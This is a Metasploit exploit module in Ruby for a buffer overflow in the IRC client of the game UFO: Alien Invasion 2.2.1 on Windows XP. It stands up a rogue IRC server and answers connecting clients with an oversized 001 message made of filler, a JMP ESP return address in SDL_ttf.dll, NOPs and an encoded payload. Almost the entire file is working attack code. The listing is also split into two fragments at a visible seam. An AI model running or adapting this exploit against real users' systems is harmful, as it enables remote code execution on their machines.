```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the IRC client component of
          UFO: Alien Invasion 2.2.1.
        },
        'Author' => [
          'Jason Geffner', # Original Windows PoC Author
          'dookie' # MSF Module Author
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-10006' ],
          [ 'OSVDB', '65689'],
          [ 'EDB', '14013' ]
        ],
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00\x0a\x0d",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-10-28',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    print_status("Got client connection...")

    buffer = "001 :"
    buffer << rand_text_alpha_upper(552)
    buffer << [ target.ret ].pack('V')
```

```
      buffer << make_nops(8)
      buffer << payload.encoded
      buffer << "\x0d\x0a"

      print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

      client.put(buffer)
    end
  end
```